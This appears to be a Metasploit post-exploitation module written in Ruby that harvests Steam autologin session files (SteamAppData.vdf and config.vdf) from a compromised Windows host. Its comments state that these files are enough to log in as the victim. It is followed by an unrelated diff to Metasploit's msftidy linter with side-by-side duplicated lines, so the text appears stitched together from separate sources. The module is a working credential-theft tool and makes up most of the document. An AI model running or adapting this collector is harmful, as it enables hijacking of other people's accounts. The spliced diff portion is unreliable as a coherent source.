require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info(info,
'Name' => 'Steam client session Collector.',
'Description' => %q{ This module will collect Steam session information from an
account set to autologin. },
'License' => MSF_LICENSE,
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
end
# All that is needed to login to another Steam account is config.vdf,
# setting the AutoLoginUser to the proper username and RememberPassword
# to 1 in SteamAppData.vdf.
# Only tested on Win7 x64
#
# config.vdf , ContentCache element holds a K,V table of what appears
# to be UniqueID, Session. This is purely speculation as I have not
# reversed it to check. However the key is always unique to the account
# and the value changes whenever the account is logged out and then
# back in.
def run
steamappdata = 'SteamAppData.vdf'
steamconfig = 'config.vdf'
u_rx = /AutoLoginUser\W*\"(.*)\"/
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
# the correct program files folder.
# We will just use an x64 only defined env variable to check.
if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
progs = expand_path('%ProgramFiles(X86)%') #x64
else
progs = expand_path('%ProgramFiles%') #x86
end
path = progs + '\\Steam\\config'
print_status("Checking for Steam configs in #{path}")
# Check if all the files are there.
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
print_status("Located steam config files.")
sad = read_file("#{path}\\#{steamappdata}")
if sad =~ /RememberPassword\W*\"1\"/
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
scd = read_file("#{path}\\#{steamconfig}")
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
print_good("The file config.vdf has been stored on #{steam_config_path}")
print_status("Steam configs harvested successfully!")
else
print_error("RememberPassword is not set, exiting.")
return
end
else
print_error("Steam configs not found.")
return
end
end
end

View File

@ -36,8 +36,9 @@ class Msftidy
## ##
# #
# The following two functions only print what you throw at them. # The following two functions only print what you throw at them,
# With an option of displaying the line number. # with the option of displying the line number. error() is meant
# for mistakes that might actually break something.
# #
## ##
@ -58,6 +59,70 @@ class Msftidy
# #
## ##
def check_badchars
badchars = %Q|&<=>|
in_super = false
in_author = false
@source.each_line do |line|
#
# Mark our "super" code block
#
if !in_super and line =~ /[\n\t]+super\(/
in_super = true
elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
in_super = false
break
end
#
# While in super() code block
#
if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
# Now we're checking the module titlee
mod_title = $1
mod_title.each_char do |c|
if badchars.include?(c)
error("'#{c}' is a bad character in module title.")
end
end
if not mod_title.ascii_only?
error("Please avoid unicode in module title.")
end
# Since we're looking at the module title, this line clearly cannot be
# the author block, so no point to run more code below.
next
end
#
# Mark our 'Author' block
#
if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/
in_author = true
elsif in_super and in_author and line =~ /\],*\n/
in_author = false
end
#
# While in 'Author' block, check for Twitter handles
#
if in_super and in_author and line =~ /['|"](.+)['|"]/
author_name = $1
if author_name =~ /^@.+$/
error("No Twitter handle, please. Try leaving it in a comment instead.")
end
if not author_name.ascii_only?
error("Please avoid unicode in Author")
end
end
end
end
def check_extname def check_extname
if File.extname(@name) != '.rb' if File.extname(@name) != '.rb'
error("Module should be a '.rb' file, or it won't load.") error("Module should be a '.rb' file, or it won't load.")
@ -126,7 +191,7 @@ class Msftidy
[words.first, words.last].each do |word| [words.first, words.last].each do |word|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/ if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
next if word =~ /php[A-Z]/ next if word =~ /php[A-Z]/
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM inetd wallet.dat}.include? word
warn("Improper capitalization in module title: '#{word}...'") warn("Improper capitalization in module title: '#{word}...'")
end end
end end
@ -234,6 +299,7 @@ end
def run_checks(f_rel) def run_checks(f_rel)
tidy = Msftidy.new(f_rel) tidy = Msftidy.new(f_rel)
tidy.check_badchars
tidy.check_extname tidy.check_extname
tidy.test_old_rubies(f_rel) tidy.test_old_rubies(f_rel)
tidy.check_ranking tidy.check_ranking